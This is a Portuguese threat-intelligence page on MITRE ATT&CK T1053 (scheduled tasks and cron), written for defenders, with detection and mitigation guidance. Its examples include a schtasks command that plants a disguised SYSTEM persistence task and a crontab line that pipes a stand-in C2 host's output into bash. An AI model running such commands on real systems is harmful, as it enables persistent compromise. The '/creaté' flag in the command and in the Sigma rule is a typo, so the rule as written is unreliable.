# T1053 - Tarefa Agendada / Job
## Descrição
Sistemas operacionais modernos oferecem mecanismos nativos para agendar a execução de programas e scripts em horários ou intervalos predefinidos. No Windows, as ferramentas principais são o Agendador de Tarefas (`schtasks`) e o utilitário legado `at`. No Linux e macOS, o `cron` e o `crontab` são os mais comuns, com o systemd oferecendo também os [[t1053-006-systemd-timers|Systemd Timers]] como alternativa moderna. Em ambientes de contêineres, jobs orquestrados via Kubernetes CronJobs representam a variante equivalente.
Adversários abusam dessas funcionalidades legítimas para garantir execução recorrente ou na inicialização do sistema, tornando o ataque resiliente a reinicializações e muito mais difícil de erradicar. Uma tarefa agendada maliciosa bem configurada sobrevive a reinicializações, mudanças de sessão de usuário e até mesmo a algumas rotinas de resposta a incidentes que não contemplam a verificação desses mecanismos. O [[s0447-lokibot|Lokibot]], por exemplo, abusa de tarefas agendadas no Windows para garantir persistência após execução inicial por phishing.
Além da persistência, a técnica é usada para executar código com privilégios elevados - tarefas criadas com contexto de `SYSTEM` ou `root` rodam com as permissões mais altas disponíveis, independente do usuário que as criou. Isso torna o mecanismo especialmente valioso na fase de pós-exploração, quando o atacante busca consolidar o acesso antes de avançar para movimentação lateral ou exfiltração. A técnica também pode ser usada para mascarar execução maliciosa sob processos de sistema confiáveis, de forma análoga ao [[t1218-system-binary-proxy-execution|System Binary Proxy Execution]].
**Contexto Brasil/LATAM:** Ransomware como LockBit, RansomHub e grupos afiliados ativos no Brasil utilizam tarefas agendadas extensivamente para orquestrar a fase de execução do payload de criptografia em múltiplas máquinas simultaneamente. Em ambientes corporativos brasileiros com Active Directory, uma tarefa agendada criada via GPO comprometida ou com credenciais de domínio roubadas pode disparar execução em centenas de estações ao mesmo tempo. O [[s0447-lokibot|Lokibot]], amplamente distribuído por spam direcionado a empresas brasileiras, usa `schtasks` para garantir que o stealer continue rodando após reinicialização.
## Attack Flow
```mermaid
graph TB
A[Execução Inicial / Phishing] --> B[Criação de Tarefa Agendada]
B --> C[Execução Recorrente / Boot]
C --> D[Persistência Estabelecida]
D --> E[C2 / Exfiltração / Ransomware]
```
## Como Funciona
**1. Preparação**
O adversário obtém execução inicial no sistema - via phishing, exploit ou acesso a credenciais. Com permissões suficientes (usuário padrão pode criar tarefas em seu próprio contexto; admin/SYSTEM para contexto elevado), prepara o comando ou script a ser agendado.
**2. Execução**
Dependendo da plataforma, a tarefa é criada via interface nativa:
```bash
# Windows - criação de tarefa agendada para persistência (artefato detectável)
schtasks /creaté /tn "WindowsUpdateHelper" /tr "C:\Users\Public\svchost32.exe" /sc onlogon /ru SYSTEM /f
# Linux - entrada maliciosa em crontab (artefato detectável)
# Conteúdo adicionado ao crontab do root:
# @reboot /tmp/.x/payload &
# */5 * * * * curl -s http://c2.example/cmd | bash
# Verificar tarefas existentes no Windows:
schtasks /query /fo LIST /v | findstr "Task Name\|Run As User\|Task To Run"
```
**3. Pós-execução**
A tarefa é executada automaticamente conforme o gatilho configurado (boot, logon, intervalo de tempo). Em sistemas Windows com Active Directory, tarefas agendadas podem ser replicadas remotamente via `schtasks /s <host>`, permitindo execução em lote em múltiplos hosts sem necessidade de acesso interativo a cada máquina.
## Sub-técnicas
- [[t1053-002-at|T1053.002 - At]]
- [[t1053-003-cron|T1053.003 - Cron]]
- [[t1053-005-scheduled-task|T1053.005 - Scheduled Task]]
- [[t1053-006-systemd-timers|T1053.006 - Systemd Timers]]
- [[t1053-007-container-orchestration-job|T1053.007 - Container Orchestration Job]]
## Detecção
**Fontes de dados:** Windows Event IDs 4698 (tarefa criada), 4702 (tarefa modificada), 4699 (tarefa deletada), 106 (Task Scheduler); auditd no Linux para chamadas `crontab`; `/var/log/cron`; Sysmon Event ID 1 (criação de processo via `schtasks.exe`); EDR alerts em criação de processos filhos de `taskeng.exe` ou `svchost.exe -k netsvcs`.
```yaml
title: Criação de tarefa agendada suspeita no Windows
id: c4a9b261-3e7d-4f2a-d8c3-5e2b9f4a1d07
status: experimental
description: Detecta criação de tarefas agendadas fora de horário comercial ou por processos não administrativos comuns
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\schtasks.exe'
CommandLine|contains:
- '/creaté'
- '/sc onlogon'
- '/sc onstart'
- '/ru SYSTEM'
filter_legit:
ParentImage|startswith:
- 'C:\Windows\System32\msiexec.exe'
- 'C:\Program Files\'
- 'C:\Program Files (x86)\'
condition: selection and not filter_legit
falsepositives:
- Scripts de instalação de software legítimo
- Ferramentas de gerenciamento de configuração (Ansible, SCCM, Puppet)
- Administradores de sistemas criando tarefas de manutenção
level: medium
tags:
- attack.execution
- attack.persistence
- attack.t1053
```
## Mitigação
| Mitigação | Recomendação Prática |
|-----------|---------------------|
| [[m1018-user-account-management\|M1018 - User Account Management]] | Revisar e limitar quais usuários e grupos têm permissão para criar tarefas agendadas; desabilitar a criação de tarefas com contexto SYSTEM para usuários não administradores |
| [[m1028-operating-system-configuration\|M1028 - Operating System Configuration]] | Usar Group Policy para restringir o Agendador de Tarefas; no Linux, usar `/etc/cron.allow` para controlar quais usuários podem usar crontab |
| [[m1022-restrict-file-and-directory-permissions\|M1022 - Restrict File and Directory Permissions]] | Proteger diretórios de crontab (`/etc/cron.*`, `/var/spool/cron/`) contra escrita por usuários não privilegiados |
| [[m1026-privileged-account-management\|M1026 - Privileged Account Management]] | Monitorar e limitar o uso de contas privilegiadas para criação de tarefas; implementar JIT (Just-in-Time) para acesso administrativo |
| [[m1047-audit\|M1047 - Audit]] | Auditar regularmente todas as tarefas agendadas nos sistemas; usar scripts de baseline para detectar tarefas novas ou modificadas |
## Software Associado
- [[s0447-lokibot|Lokibot]] - stealer que abusa de `schtasks` para persistência no Windows
## Referências
*Fonte: [MITRE ATT&CK - T1053](https://attack.mitre.org/techniques/T1053)*